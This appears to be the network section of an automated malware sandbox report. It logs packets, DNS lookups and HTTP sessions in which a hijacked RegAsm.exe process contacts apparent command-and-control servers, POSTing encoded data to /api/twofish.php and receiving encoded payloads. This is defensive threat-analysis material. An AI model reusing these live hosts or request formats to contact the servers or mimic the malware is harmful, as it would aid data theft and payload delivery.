Sep 11, 2024 16:22:19.581747055 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581752062 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581763983 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581788063 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.581788063 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.581804991 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581806898 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.581810951 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581823111 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581826925 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.581851006 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.581877947 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.582520962 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.582546949 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.582556009 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.582586050 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.582591057 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.582607985 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.582640886 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.582825899 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.582832098 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.582843065 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.582848072 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.582854033 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.582897902 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.582918882 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.582936049 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.582941055 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.582957983 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.582964897 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.582977057 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.582983017 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.582988977 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.583019018 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.588996887 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.589001894 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.589077950 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.589082956 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.589092970 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.589098930 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.589123964 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.589123964 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.589157104 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.589359999 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.589437008 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.590853930 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.606544971 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.606551886 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.606563091 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.606568098 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.606574059 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.606580019 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.606585026 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.606621981 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.606626034 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.606637001 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.606642962 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.606648922 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.606657028 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.606664896 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.606683969 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.606832027 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.606837988 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.606843948 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.606848955 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.606854916 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.606873989 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.606887102 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.606904984 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.606904984 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.606910944 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.606920958 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.606929064 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.606935024 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.606945992 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.606950998 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.606966972 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.607050896 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.607055902 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.607068062 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.607079029 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.607086897 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.607091904 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.607098103 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.607099056 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.607114077 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.607126951 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.607181072 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.607186079 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.607223988 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.607243061 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.607249022 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.607284069 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.607312918 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.607317924 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.607330084 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.607336044 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.607356071 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.607377052 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.609141111 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.609291077 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.609729052 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.609812021 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.610404015 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.610479116 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.611052036 CEST	443	49753	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.611216068 CEST	49753	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.620096922 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.620102882 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.620115995 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.620198965 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.620203018 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.620208979 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.620215893 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.620222092 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.620260000 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.623373032 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.623378992 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.623398066 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.623404026 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.623409986 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.623425007 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.623431921 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.623442888 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.623447895 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.623454094 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.623461008 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.623476028 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.623481989 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.623488903 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.623492956 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.623548031 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.623548031 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.623548031 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.623548031 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.623548031 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.624226093 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.624232054 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.624243975 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.624255896 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.624263048 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.624278069 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.624325991 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.624355078 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.624361992 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.624372005 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.624377012 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.624382973 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.624396086 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.624399900 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.624411106 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.624419928 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.624428034 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.624428034 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.624428034 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.624454021 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.624454021 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.627111912 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.627163887 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.627177954 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.627182961 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.627188921 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.627194881 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.627239943 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.627255917 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.627262115 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.627268076 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.627271891 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.627273083 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.627273083 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.627279043 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.627321959 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.627341032 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.627341986 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.627347946 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.627352953 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.627358913 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.627366066 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.627372026 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.627388954 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:19.627396107 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.627408028 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.627409935 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.627845049 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:19.628703117 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.628768921 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.628963947 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.629018068 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.629029036 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.629067898 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.629121065 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.629174948 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.630435944 CEST	49754	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.630453110 CEST	443	49754	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.632052898 CEST	49755	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.632066011 CEST	443	49755	37.153.95.99	192.168.2.4
Sep 11, 2024 16:22:19.632122993 CEST	49755	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.632529020 CEST	49755	443	192.168.2.4	37.153.95.99
Sep 11, 2024 16:22:19.632538080 CEST	443	49755	37.153.95.99	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 11, 2024 16:22:09.048254013 CEST	192.168.2.4	1.1.1.1	0x1342	Standard query (0)	api64.ipify.org	A (IP address)	IN (0x0001)	false
Sep 11, 2024 16:22:09.914238930 CEST	192.168.2.4	1.1.1.1	0xe670	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Sep 11, 2024 16:22:15.672832012 CEST	192.168.2.4	1.1.1.1	0xaadf	Standard query (0)	240902180529931.tyr.zont16.com	A (IP address)	IN (0x0001)	false
Sep 11, 2024 16:22:15.673772097 CEST	192.168.2.4	1.1.1.1	0x9c8	Standard query (0)	fallaeltro.es	A (IP address)	IN (0x0001)	false
Sep 11, 2024 16:22:15.674081087 CEST	192.168.2.4	1.1.1.1	0xe32c	Standard query (0)	file-link-iota.vercel.app	A (IP address)	IN (0x0001)	false
Sep 11, 2024 16:22:17.353104115 CEST	192.168.2.4	1.1.1.1	0x3d7f	Standard query (0)	youtransfer.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 11, 2024 16:22:09.056036949 CEST	1.1.1.1	192.168.2.4	0x1342	No error (0)	api64.ipify.org		104.237.62.213	A (IP address)	IN (0x0001)	false
Sep 11, 2024 16:22:09.056036949 CEST	1.1.1.1	192.168.2.4	0x1342	No error (0)	api64.ipify.org		173.231.16.77	A (IP address)	IN (0x0001)	false
Sep 11, 2024 16:22:09.921715021 CEST	1.1.1.1	192.168.2.4	0xe670	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false
Sep 11, 2024 16:22:15.684176922 CEST	1.1.1.1	192.168.2.4	0xe32c	No error (0)	file-link-iota.vercel.app		76.76.21.61	A (IP address)	IN (0x0001)	false
Sep 11, 2024 16:22:15.684176922 CEST	1.1.1.1	192.168.2.4	0xe32c	No error (0)	file-link-iota.vercel.app		76.76.21.241	A (IP address)	IN (0x0001)	false
Sep 11, 2024 16:22:15.740808964 CEST	1.1.1.1	192.168.2.4	0xaadf	Server failure (2)	240902180529931.tyr.zont16.com	none	none	A (IP address)	IN (0x0001)	false
Sep 11, 2024 16:22:15.844021082 CEST	1.1.1.1	192.168.2.4	0x9c8	No error (0)	fallaeltro.es		37.153.95.99	A (IP address)	IN (0x0001)	false
Sep 11, 2024 16:22:17.385998011 CEST	1.1.1.1	192.168.2.4	0x3d7f	No error (0)	youtransfer.net		158.69.225.124	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	212.113.116.202	80	5500	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 16:22:07.853741884 CEST	207	OUT	GET /api/crazyfish.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 212.113.116.202

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	45.91.200.135	80	5500	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 16:22:08.398819923 CEST	205	OUT	GET /api/crazyfish.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 45.91.200.135
Sep 11, 2024 16:22:09.042396069 CEST	259	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 14:22:08 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 6 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 66 69 73 68 31 35 Data Ascii: fish15
Sep 11, 2024 16:22:13.225965023 CEST	274	OUT	POST /api/twofish.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Content-Length: 133 Host: 45.91.200.135
Sep 11, 2024 16:22:13.225986004 CEST	133	OUT	Data Raw: 64 61 74 61 3d 37 38 6f 6c 79 79 36 30 64 33 7a 61 6f 72 7a 36 69 6e 47 4c 6c 49 51 67 57 61 6c 36 56 33 74 32 49 5f 33 55 39 74 7a 53 4f 35 77 38 67 5a 33 6a 58 75 46 51 66 53 32 47 54 58 46 36 72 44 47 6e 6f 74 38 69 6b 58 6a 53 4c 34 37 5f 56 Data Ascii: data=78olyy60d3zaorz6inGLlIQgWal6V3t2I_3U9tzSO5w8gZ3jXuFQfS2GTXF6rDGnot8ikXjSL47_VufOBzfehzh6DSFsrPqL9o3qMlcmkp07pVKkokQyXP4PqhKNO8um
Sep 11, 2024 16:22:14.336858988 CEST	362	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 14:22:13 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 108 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 46 63 4c 71 75 42 77 62 54 6b 57 66 6b 6f 36 5a 79 5a 70 62 45 47 6f 56 73 76 39 5a 46 71 51 45 78 6b 61 56 46 30 43 61 4e 4e 69 4d 5a 4f 5a 77 4d 4c 62 46 6c 4e 6d 5a 4f 55 32 6e 79 42 6b 52 62 79 6d 36 48 44 6d 42 56 6f 52 71 69 35 75 47 56 44 46 31 33 4d 5a 35 6c 72 4d 73 63 78 39 61 71 56 75 46 32 56 45 2f 4b 6f 3d Data Ascii: MFcLquBwbTkWfko6ZyZpbEGoVsv9ZFqQExkaVF0CaNNiMZOZwMLbFlNmZOU2nyBkRbym6HDmBVoRqi5uGVDF13MZ5lrMscx9aqVuF2VE/Ko=
Sep 11, 2024 16:22:14.508450985 CEST	274	OUT	POST /api/twofish.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Content-Length: 133 Host: 45.91.200.135
Sep 11, 2024 16:22:14.508485079 CEST	133	OUT	Data Raw: 64 61 74 61 3d 76 32 6c 44 33 58 6b 49 44 7a 7a 35 6e 6b 7a 47 74 4c 7a 51 47 45 58 55 79 4f 53 32 78 34 31 66 62 51 38 32 6b 31 50 39 6a 37 32 59 38 4d 56 45 67 2d 75 51 38 31 44 78 71 74 70 48 4f 67 32 69 45 76 6a 32 75 39 49 58 5f 38 76 73 67 Data Ascii: data=v2lD3XkIDzz5nkzGtLzQGEXUyOS2x41fbQ82k1P9j72Y8MVEg-uQ81DxqtpHOg2iEvj2u9IX_8vsgiIDcbyVS6HSk0Jy2ikWReTbyftuS5PWqKY5nFXBdAbb95juCMAq
Sep 11, 2024 16:22:15.533333063 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 14:22:14 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 2880 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 35 50 5a 31 4c 72 32 70 74 36 37 47 7a 35 62 33 76 32 36 59 58 6d 61 46 39 4a 39 70 63 2f 50 37 6b 65 79 57 65 31 68 36 71 38 6d 61 45 74 54 4b 41 71 34 6b 79 7a 37 48 41 67 52 4c 67 6d 4c 59 51 48 70 6d 47 74 38 6e 53 52 30 77 37 35 37 57 34 72 48 78 46 63 65 4a 4b 62 4a 70 62 57 38 45 52 6b 4f 56 64 7a 6d 48 4f 46 4f 58 6a 66 4a 5a 70 38 74 78 42 4d 45 6d 4c 75 59 46 53 70 52 61 32 44 65 68 31 66 46 30 44 74 30 59 75 2f 39 7a 67 4f 34 55 79 71 6b 6b 4c 51 30 35 4c 70 62 6a 51 6b 77 66 78 75 34 74 53 74 32 4f 45 6d 70 4e 41 54 51 62 32 63 69 31 4a 4a 4d 49 53 63 43 51 59 73 41 46 65 6c 5a 7a 71 61 4e 4b 42 41 62 30 73 36 6e 45 49 5a 72 33 69 48 68 43 48 58 37 6c 6e 59 6e 35 4a 34 72 4a 4f 79 49 2f 76 7a 56 39 48 6d 32 6c 75 2f 4b 67 30 50 75 34 51 31 5a 4d 32 59 62 6a 58 50 70 4c 41 43 69 69 4a 77 43 58 79 57 41 4f 78 72 46 6a 31 58 51 68 72 6e 41 6a 39 4b 43 75 32 34 71 34 34 71 4c 56 66 66 79 77 38 53 55 59 73 68 53 72 44 57 70 49 54 66 6a 34 2b 61 61 67 77 79 65 30 78 53 66 49 47 42 4a 64 46 4f [TRUNCATED] Data Ascii: 5PZ1Lr2pt67Gz5b3v26YXmaF9J9pc/P7keyWe1h6q8maEtTKAq4kyz7HAgRLgmLYQHpmGt8nSR0w757W4rHxFceJKbJpbW8ERkOVdzmHOFOXjfJZp8txBMEmLuYFSpRa2Deh1fF0Dt0Yu/9zgO4UyqkkLQ05LpbjQkwfxu4tSt2OEmpNATQb2ci1JJMIScCQYsAFelZzqaNKBAb0s6nEIZr3iHhCHX7lnYn5J4rJOyI/vzV9Hm2lu/Kg0Pu4Q1ZM2YbjXPpLACiiJwCXyWAOxrFj1XQhrnAj9KCu24q44qLVffyw8SUYshSrDWpITfj4+aagwye0xSfIGBJdFOP/xh6SpLGW9t4v+p4gKq38JE9H3zsu6Brymqshq+Pk3yV/mBZP3xs9JH+VQFtsU71PEfVce4SWOHSm/yVt5vXzzliv3zcTKYLg9HAEPrphrjO0FXgRoMB3FAiXt+ZchoxEDUMNNbu8VAYUUeawk4ft89fcy0/7qM/9xTTOZfx/PsWL+sAna93re7BinRoCqspZRq4F9xxSIISDa7956GLiGHCeEuSgpKRGLGdUiVEcHsEmDQORdDA20l2AAXpvznlAbWEVORAHKcEqKzxbrhI7KVTRaTsxw/9bYjNpXXJWBLofhM0GwZo0mQuw0RvXTLNNsWdQxVe1jO9/oRj8s7CYjgCMrxmL8Rhd706WMaXEWQV3dE8GAqaCaon/rVWgnx0OskKHq7ieh9xmbQppYsILDzJd/aOKzwtWX6VCQAclcPzqGsl5/QVlN3OikdTZUIqHNJ4GRbH9Ez2RuTS5BkFbOkJJlYroSX9faoH6d/kWz2MqX1VCfSThPgj2gxz1R+qTRcLmFbpMYcBopQeiyQjPwxIH4na8cmC9sGL2hxN/7is45gOb1OPgcHOd0rnVa2LvdVmNmpTIbaIe+R5NMT11dfc2MFlHzQwkC24BaO2N+RgJF5rWKkGWloztNR2J7LEcL
